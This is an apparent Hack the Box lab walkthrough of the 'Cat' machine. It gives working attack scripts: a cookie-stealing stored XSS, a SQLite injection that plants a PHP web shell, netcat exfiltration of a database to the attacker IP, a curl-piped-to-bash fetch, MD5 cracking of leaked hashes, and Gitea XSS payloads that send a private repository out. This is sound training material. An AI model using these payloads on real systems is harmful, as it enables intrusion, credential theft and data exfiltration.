/security
Walkthrough

xss
walkthrough
htb

Cat Walkthrough

target: 10.10.11.53 attacker: 10.10.14.94

Cat is a medium Linux machine released during the 7th season of Hack the Box. It is mainly XSS oriented.

Foothold

Recon

The usual, we are looking for all ports (-p-), we want to identify service’s version (-sV) and execute the default script (-sC)

nmap -sV -sC -p- 10.10.11.53
...
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Best Cat Competition
| http-git: 
|   10.10.11.53:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Cat v1 
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two details strike the eye about this Apache server. First of all, the httponly flag is not set for the PHPSESSID, which involves that the cookie could be accessed by javascript. This calls for an XSS. Secondly, the server exposes a .git folder which might be sourcing the source code of the web application hosted by this very server. As it is often the case on Hack the Box machines, the web server redirect us to the proper domain name.

curl http://10.10.11.53/.git/config                                       
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://cat.htb/.git/config">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.53 Port 80</address>
</body></html>

Let’s then add this domain to our host file

echo '10.10.11.53 cat.htb' >> /etc/hosts

and hit cat.htb this time

curl http://cat.htb/.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true

This is definitely a git folder. Before we explore the application, let’s make sure that Apache is not serving any subdomain.

we filter every results with 10 lines that correspond to the main domain (option -fl)

ffuf -u http://cat.htb  -H "Host: FUZZ.cat.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -fl 10

The application

This looks like the classical artisanal PHP 5-10 pages site.

register form

There this a contest section we can access after registration.

contest form

The file upload function could call for a local file inclusion. Basic sqlmap exploration show no obvious vulnerability on any of the 3 forms (register, login, contest). Time to check the git folder.

Source-code analysis

After some scripting attempts and a unconvincing dirbuster session, I found this quite amazing tool specifically design to exfiltrate .git folders. After a pip install based installation, I simply

mkdir exfiltrated
githacker --url http://cat.htb/.git/ --output-folder exfiltrated/git

to get the source code.

app files

hard encoded admin user

Some functions (admin.php, accept_cat.php, view_cat.php, delete_cat.php) are protected by the following mechanism

if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    ...
}

He is obviously the admin and we cannot create a user with the same username (already exist error).

SQLite backend accessed though PDO

No wonders why the sql injections did not work: the generalized use of PDO and prepared statements protects the app against trivial SQL injections.

config.php

<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

Same goes for all the forms interacting the DB like here in contest.php

// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
    $success_message = "Cat has been successfully sent for inspection.";
} else {
    $error_message = "Error: There was a problem registering the cat.";
}

There seems to be one exception in accept_cat.php but this section is only accessible to the admin

$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

Might be exploitable later

A dangerous include

On winner.php, we can see that the first .php file – alphabetically speaking – present in the winners/ folder will be served.

$reportsDir = 'winners/';
$files = glob($reportsDir . '*.php');
if (!empty($files)) {
    include $files[0];
} else {
    echo "<h1>There are no winners.</h1>";
}

This is a very dangerous pattern, for it allows anyone able to write a php script is this folder to execute arbitrary code. This is the golden path for Remote Code Execution

Forms validation

When it comes to form validation, this is no open bar. The obvious contest.php form, fields of which are reflected in the admin section, seem properly sanitized against any of the characters I would need for a stored XSS

$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];

$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
    contains_forbidden_content($age, $forbidden_patterns) ||
    contains_forbidden_content($birthdate, $forbidden_patterns) ||
    contains_forbidden_content($weight, $forbidden_patterns)) {
    $error_message = "Your entry contains invalid characters.";
} else {
    // Generate unique identifier for the image
    $imageIdentifier = uniqid() . "_";
    ...
}

Moreover, the image final name on the server is padded with uniqid. 16**13 == way to much possible path to make a Local File Inclusion likely. Further more, these fields are also escaped with htmlspecialchars by the admin.php rendering.

<div class="container">
    <h1>My Cats</h1>
    <?php foreach ($cats as $cat): ?>
        <div class="cat-card">
            <img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
            <div class="cat-info">
                <strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
            </div>
            <button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
            <button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
            <button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
        </div>
    <?php endforeach; ?>
</div>

It took me a while to realize that:

  1. The username field in join.php is not sanitized. We can write whatever we want !
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);

$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
  1. this field is rendered as it is in view_cat.php
<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>  <!--HERE-->
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

Based on the data model inferred from the queries, if a user registers and registers a cat for the contest, his username will appear here for the admin too see. This is were the XSS should live.

Exploit

To wrap up, we should i.create a user username of whom should contain javascript code sending the document.cookie of anyone executing it, ii. submit a cat with this very user to the contest.

XSS

We first need to listen for incoming http requests

python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

I like to script my attacks with python and I prefer to display code than numerous Burp screen shots and explanations of what to copy paste where. I consider the code and some explanation to be enough to understand what is going on, provided that you try to reproduce it.

We need to

  1. register a user

foothold.py

ROOT_SITE = "http://cat.htb"

def get_session(username=, password) -> Session:
    client = Session()
    resp = client.get(f"{ROOT_SITE}") # get initial cookie

    login_params = {
        "loginUsername": username,
        "loginPassword": password,
        "loginForm": "Login",
    }
    resp = client.get(f"{ROOT_SITE}/join.php", params=login_params) # try to log in 
    if "Incorrect username or password" in resp.text: # if the user does not exist
        print(f"Registering {username}")
        register_params = {
            "username": username,
            "email": "user@gfy",
            "password": password,
            "registerForm": "Register",
        }
        resp = client.get(f"{ROOT_SITE}/join.php", params=register_params) # create it
        resp = client.get(f"{ROOT_SITE}/join.php", params=login_params) # log with these creds
        assert "Incorrect username or password" not in resp.text # and make sure that he is properly logged
    return client
  1. use this user to register a cat

foothold.py

FILE_NAME = "any_image_you_want.jpeg"
def file_upload(client: Session) -> bool:
    good = "Cat has been successfully sent for inspection." 
    data = {"cat_name": "mitigry", "age": 5, "birthdate": "31031989", "weight": 10}
    with open(FILE_NAME, "rb") as file:
        files = {"cat_photo": (FILE_NAME, file.read(), "image/jpeg")}
        resp = client.post(
            url=f"{ROOT_SITE}/contest.php", data=data, files=files, allow_redirects=True
        )
        if good in resp.text:
            return True
        else:
            print(resp.text)
            return False
  1. combine both and try to query my ip with javascript:fetch

foothold.py

if __name__ == "__main__":
    client = get_session(username="<script>document.location='http://10.10.14.94:8000/'+document.cookie;</script>")
    if file_upload(client):
       print("file uploaded success")
  1. python foothold.py wait for axel to access the page, send the request and get the cookie in our logs
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) 
...
10.10.11.53 - - [07/Feb/2025 09:19:44] "GET /PHPSESSID=4ihi6fjq1uvbl490pg0gmt32ub HTTP/1.1" 404 -

Neat! we have his cookie! We can now use admin.php and the various associated function.

SQL injection & include exploitation

Remember, we found a possible sql injection in accept_cat.php. Let’s take a closer look

<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') { // need to be axel: DONE
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {  // post param we can set
            $cat_name = $_POST['catName'];  // stored in this variable without sanitation 
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; //used here
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

It would be nice if, instead of

INSERT INTO accepted_cats (name) VALUES ('whatever');

we could stack a second query (a SELECT or whatever)

INSERT INTO accepted_cats (name) VALUES ('whatever');SELECT * FROM users;

This is fairly simple with something like $cat_name=');SELECT * FROM users;--, for

INSERT INTO accepted_cats (name) VALUES ('$cat_name')

now becomes

INSERT INTO accepted_cats (name) VALUES ('');SELECT * FROM users;--');

However, since this query is not reflected in the html page, a SELECT is not what we will aim for. Since we are looking for a remote code execution and that we are in a SQlite context PayloadsAllTheThings suggests the following:

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

We can apparently write a php file wherever www-data can write and write whatever we want in it. Calling lol.php?cmd=<any command> should execute the command on the system. Thus, with axel’s cookie (careful, it does not last long, you might need to re-run the previous step)

sqli.py

def sqli(cookie: str, command:str):
    with Session() as client:
        client.cookies.update(dict(PHPSESSID=cookie))
        resp = client.get(f"{ROOT_SITE}/admin.php")
        assert '<a href="/admin.php">Admin</a>' in resp.text # has admin access?
        # file in the winners folders need to come first in the alphabetical order
        payload = """');ATTACH DATABASE './winners/alol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--"""
        data = {"catName": payload, "catId": 1}
        # send the SQL injection
        resp = client.post(f"{ROOT_SITE}/accept_cat.php", data=data)
        print(resp.text)
        # send a cmd to check if alol.php took over
        params = {"cmd": command}
        resp = client.get(f"{ROOT_SITE}/winners.php", params=params)
        print(resp.text)
        
if __name__ == "__main__":
    sqli("4ihi6fjq1uvbl490pg0gmt32ub", "whoami")

Let’s execute sqli.py

python sqli.py
....
        <a href="/admin.php">Admin</a><a href="/logout.php">Logout</a></div>

�� Iwww-datapwnCREATE TABLE pwn (dataz text)

</body>
</html>

whoami output (www-data) is reflected in the page. We have RCE! From there, I cat /etc/passwd, got especially interested in these two users

axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash

I also got a reverse shell. However, the point is to become someone else than www-data. I exfiltrated the database with netcat by

locally

nc -l -p 7000 -q 1 > remote_data.db < /dev/null

sqli.py

if __name__ == "__main__":
    sqli("4ihi6fjq1uvbl490pg0gmt32ub", "cat /databases/cat.db  | netcat 10.10.14.94 7000")
python sqli.py

I now have a remote_data.db file where nc was listening. This is a SQlite database and we are interested in the table users. So

$ sqlite3 remote_data.db 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> SELECT * FROM users;
1|axel|axel2017@gmail.com|d1bbba3670feb9435c9841e46e60ee2f
2|rosa|rosamendoza485@gmail.com|ac369922d560f17d6eeb8b2c7dec498c
3|robert|robertcervantes2000@gmail.com|42846631708f69c00ec0c0a8aa4a92ad
4|fabian|fabiancarachure2323@gmail.com|39e153e825c4a3d314a0dc7f7475ddbe
5|jerryson|jerrysonC343@gmail.com|781593e060f8d065cd7281c5ec5b4b86
6|larry|larryP5656@gmail.com|1b6dce240bbfbc0905a664ad199e18f8
7|royer|royer.royer2323@gmail.com|c598f6b844a36fa7836fba0835f1f6
8|peter|peterCC456@gmail.com|e41ccefa439fc454f7eadbf1f139ed8a
9|angel|angel234g@gmail.com|24a8ec003ac2e1b3c5953a6f95f8f565
10|jobert|jobert2020@gmail.com|88e4dceccd48820cf77b5cf6c08698ad

Those are md5 sums (-m 0 in hashcat). Amongst the hash, only rosa’s password appeared in rockyou

hashcat -m 0 'ac369922d560f17d6eeb8b2c7dec498c' /usr/share/wordlists/rockyou.txt
...
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa

we can ssh rosa@cat.htb using this password.

Lateral movements

We are now rosa. Once in the system, we can notice some internal services stood up.

rosa@cat:~$ ss -tulpn
Netid State    Recv-Q Send-Q Local Address:Port   Peer Address:Port Process          
udp   UNCONN   0      0      127.0.0.53%lo:53          0.0.0.0:*                     
tcp   LISTEN   0      4096   127.0.0.53%lo:53          0.0.0.0:*                     
tcp   LISTEN   0      128          0.0.0.0:22          0.0.0.0:*                     
tcp   LISTEN   0      4096       127.0.0.1:3000        0.0.0.0:*                     
tcp   LISTEN   0      10         127.0.0.1:25          0.0.0.0:*                     
tcp   LISTEN   0      37         127.0.0.1:58651       0.0.0.0:*                     
tcp   LISTEN   0      128        127.0.0.1:51999       0.0.0.0:*                     
tcp   LISTEN   0      10         127.0.0.1:587         0.0.0.0:*                     
tcp   LISTEN   0      1          127.0.0.1:36813       0.0.0.0:*                     
tcp   LISTEN   0      511                *:80                *:*                     
tcp   LISTEN   0      128             [::]:22             [::]:*                     

Port 25 is a SMTP server, port 587 is an SMTPS server (same service secured by TLS). This suggests that email might be involved later on. I did not identify the services above port 30000 for I became more interested in port 3000. This looks like a web application

curl https://127.0.0.1:3000
...
</html>

I thus mapped it on my local 3000 through a ssh local port forwarding to access and analyze it.

kali@kali $ ssh -L localhost:3000:localhost:3000 rosa@cat.htb

gitea

This is a gitea v1.22.0 for which there seems to be an XSS exploit https://www.exploit-db.com/exploits/52077. Unfortunately, it requires to be authenticated, Rosa’s credentials do not work and password recovery function is disabled.

gitea

A linpeas enum showed some interesting results

rosa@cat:~$ curl http://10.10.14.94:8000/linpeas.sh | bash
...
Vulnerable to CVE-2021-3560
...
╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root smmsp 849K Mar  7  2020 /usr/lib/sm.bin/sendmail  --->  Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_(SGI_ProPack_1.2/1.3)
-rwxr-sr-x 1 root smmsp 82K Mar  7  2020 /usr/lib/sm.bin/mailstats (Unknown SGID binary)
-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
...

CVE-2021-3560 and CVE-2002-1614 did not look easily exploitable. However, the PHP app logged by PHP does display axel’s password

rosa@cat:/var/log/apache2$ grep -ri Password
...
access.log.1:127.0.0.1 - - [31/Jan/2025:11:47:55 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
access.log.1:127.0.0.1 - - [31/Jan/2025:11:48:06 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
...

This password works for both Gitea and and as axel’s UNIX password.

rosa@cat:/var/log/apache2$ su axel
Password: 
axel@cat:/var/log/apache2$

Privilege escalation

Since the narrative seems to involve email, it seemed a good idea to have a look at Axel’s mail.

Emailing

axel@cat:/var/log/apache2$ cat /var/mail/axel 
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

So, a bot impersonating Jobert is waiting for an email from Axel to have a look at a gitea repository I can inject javascript in. Let’s first check how to send a mail. Linpeas pointed me a SMTP client in /usr/lib/sm.bin/sendmail --help of which ended up not very helpful. After some research, I found a convenient way to interact with it with a one line command that would make my future exploit easier.

echo -e "From:axel@cat.htb\nSubject:Test\n\nHello" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"
jobert@localhost... Connecting to [127.0.0.1] via relay...
220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Sat, 8 Feb 2025 19:34:07 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
>>> EHLO cat.htb
...
250 2.0.0 518JY7EL062497 Message accepted for delivery
jobert@localhost... Sent (518JY7EL062497 Message accepted for delivery)
Closing connection to [127.0.0.1]
>>> QUIT
221 2.0.0 cat.htb closing connection

Looks good. Now with the XSS.

XSS

Going back to https://www.exploit-db.com/exploits/52077, I manually created a repository on Gitea, injected the very same payload in the description field to acknowledge the fact that this misformed <a> (<a href=javascript:alert()>XSS test</a>) tag ended up producing a functionnal script: <a href="javascript:alert()">XSS test</a>

gitea

I tried some other tags such as <img>, <svg> without any luck. The vuln seemed <a> specific and I found no clear way to involve any onerror or onfocus autofocus: Jobert does need to click on the link in the description field and the link appears in the repo IFF there is a file such as a LICENCE specified during the repo creation.

gitea

However, because the repo does not survive long before automatic deletion (2 minutes) and because I would probably need several interations before I could find the right XSS, I needed some way to script the repo creation. I found a swagger at http://localhost:3000/api/swagger (remember, the app port is mapped locally). Obviously, the API access requires an authentication

kali@kali $ curl -X POST http://localhost:3000/api/v1/user/repos -v
* Host localhost:3000 was resolved.
...
< HTTP/1.1 401 Unauthorized
< Cache-Control: max-age=0, private, must-revalidate, no-transform
< Content-Type: application/json;charset=utf-8
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Date: Sat, 08 Feb 2025 19:59:11 GMT
< Content-Length: 72
< 
{"message":"token is required","url":"http://cat.htb:3000/api/swagger"}

However, no need for any Oauth or permanent token I did not found, Basic auth worked. base64(axel:aNdZwgC4tI9gnVXv_e3Q) gives YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==, thus

curl -X POST http://localhost:3000/api/v1/user/repos -H "Authorization: Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==" -v
...
< HTTP/1.1 422 Unprocessable Entity
...
{"message":"[]: Empty Content-Type","url":"http://cat.htb:3000/api/swagger"}

Now, let’s script

So, create a repo with an XSS in the description and send its url to Jobert could be scripted like this

priv_esc.py

def xss_git():
    GIT_ROOT = "http://localhost:3000"
    API_HEADERS = {
        "Authorization": "Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==",# Basic auth
        "Content-Type": "application/json",
    }

    with Session() as client:
        client.headers.update(API_HEADERS)
        data = {
            "name": f"API_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}",
            "description": f"<a href=javascript:fetch('http://10.10.14.89:8000/'+document.cookie)>XSS test</a>",
            "private": True,
        }
        # create the repo
        resp = client.post(url=f"{GIT_ROOT}/api/v1/user/repos", json=data)
        creation_json = resp.json()
        # we need the repo name to send it to Jobert
        repo_name = creation_json["html_url"].split("/")[-1].strip()
        print(
            "status code",
            resp.status_code,
            creation_json["html_url"],
            " repo name ",
            repo_name,
        )

        ## create file so the repo's web page display the description
        resp = client.post(
            url=f"{GIT_ROOT}/api/v1/repos/{creation_json['owner']['login']}/{creation_json['name']}/contents/README.md",
            json={"content": "c29tZSBjb250ZW50"},
        )

        # ask Jobert to check it with the email command identified earlier
        # executed through an ssh session (using paramiko) 
        with SSHClient() as ssh_client:
            ssh_client.set_missing_host_key_policy(AutoAddPolicy())
            ssh_client.connect(
                "cat.htb", port=22, username="axel", password="aNdZwgC4tI9gnVXv_e3Q"
            )
            stdin, stdout, stderr = ssh_client.exec_command(# weirdly, cats.htb does not work
                f'echo -e "From:axel@cat.htb\nSubject:Test \n\nhttp://localhost:3000/axel/{repo_name}" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"'
            )
            opt = stdout.readlines()
            opt = "".join(opt)
            print(opt)
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [09/Feb/2025 10:34:13] "GET / HTTP/1.1" 200 -
10.10.11.53 - - [09/Feb/2025 10:35:28] "GET / HTTP/1.1" 200 -
10.10.14.94 - - [09/Feb/2025 10:35:34] code 404, message File not found
10.10.14.94 - - [09/Feb/2025 10:35:34] "GET /PHPSESSID=vjtqk0elj4bu3hp4gdnbn59mth

Damned, I can get mine (10.10.14.94) but not his (10.10.11.53), probably due to a cross origin protection mechanism I did not identified.

Source code exfitration

Reading Axel’s email, I remembered that

From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

The point of the XSS is not to steal Jobert’s cookie but to access a restricted repository’s content. I have a README url, let’s start with that. I javascript, this is how I would read and send a file content to a distant endpoint.

fetch(
    'http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(
            x=>x.blob()
        )
        .then(
            content=>fetch('http://10.10.14.94:8000',{{method:'POST',body:content}})
        )

However, because of the > involved in the two anonymous functions, the final format of the injected XSS is messed up. Thankfully, this can be easily solved by 1. encoding the entire payload in base64 and use it in a javascript:eval(atob('{in_b64}')). Finally, our server should not only log the incoming requests but also write the files received in POST body. I ended up with the following server:

server.py

import base64
import datetime
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')          
        self.send_header('Access-Control-Allow-Origin', '*')   # Added for CORS 
        self.send_header('Access-Control-Allow-Headers', '*')  # See bellow
        self.send_header('Allow', 'GET, POST, HEAD, OPTIONS')
        self.end_headers()

    def do_OPTIONS(self):
        logging.info("OPTIONS request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("OPTIONS request for {}".format(self.path).encode('utf-8'))

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        body = self.rfile.read(content_length) # <--- Gets the data itself
        with open(f"./exfiltrated/gitea/file_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}", "wb") as file: 
            file.write(body)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n",
                str(self.path), str(self.headers))

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

One important thing to know: when fetch tries to reach an other domain, the implementation of CORS requires that it interrogates the target server through an OPTIONS request to get the following hearders: Access-Control-Allow-Origin, Access-Control-Allow-Headers, Allow. In the present case, no need to grasp all of what’s going on and let’s be permissive.

With server.py running in the background, the final exploit looks like this:

priv_esc.py

def xss_git():
    GIT_ROOT = "http://localhost:3000"
    API_HEADERS = {
        "Authorization": "Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==",  # aNdZwgC4tI9gnVXv_e3Q
        "Content-Type": "application/json",
    }

    with Session() as client:
        client.headers.update(API_HEADERS)
        url_to_read = "http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md"
        # assemble the base64 payload
        in_b64 = base64.b64encode(
            f"fetch('{url_to_read}').then(x=>x.blob()).then(content=>fetch('http://10.10.14.94:8000',{{method:'POST',body:content}}))".encode(
                "ascii"
            )
        ).decode("ascii")

        data = {
            "name": f"API_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}",
            "description": f"<a href=javascript:eval(atob('{in_b64}'))>XSS test</a>", # use it here 
            "private": True,
        }
        resp = client.post(url=f"{GIT_ROOT}/api/v1/user/repos", json=data)
        creation_json = resp.json()
        repo_name = creation_json["html_url"].split("/")[-1].strip()
        print(
            "status code",
            resp.status_code,
            creation_json["html_url"],
            " repo name ",
            repo_name,
        )

        ## create file
        resp = client.post(
            url=f"{GIT_ROOT}/api/v1/repos/{creation_json['owner']['login']}/{creation_json['name']}/contents/README.md",
            json={"content": "c29tZSBjb250ZW50"},
        )

        # ask admin to check it
        with SSHClient() as ssh_client:
            ssh_client.set_missing_host_key_policy(AutoAddPolicy())
            ssh_client.connect(
                "cat.htb", port=22, username="axel", password="aNdZwgC4tI9gnVXv_e3Q"
            )
            stdin, stdout, stderr = ssh_client.exec_command(
                f'echo -e "From:axel@cat.htb\nSubject:Test \n\nhttp://localhost:3000/axel/{repo_name}" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"'
            )
            opt = stdout.readlines()
            opt = "".join(opt)
            print(opt)

The README does not contain anything interresting

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.

so I deceided to download the entire repo’s archive (http://localhost:3000/administrator/Employee-management/archive/main.zip) to open and explore it locally.

kali@kali mv file_09022025110505 file_09022025110505.zip
kali@kali unzip file_09022025110505.zip 
Archive:  file_09022025110505.zip
7fa272fd5c07320c932584e150717b4829a0d0b3
  inflating: employee-management/README.md  
  inflating: employee-management/chart.min.js  
  inflating: employee-management/dashboard.php  
  inflating: employee-management/index.php  
  inflating: employee-management/logout.php  
  inflating: employee-management/style.css  
                                                                      
kali@kali cd employee-management 
                                                                      
kali@kali ls
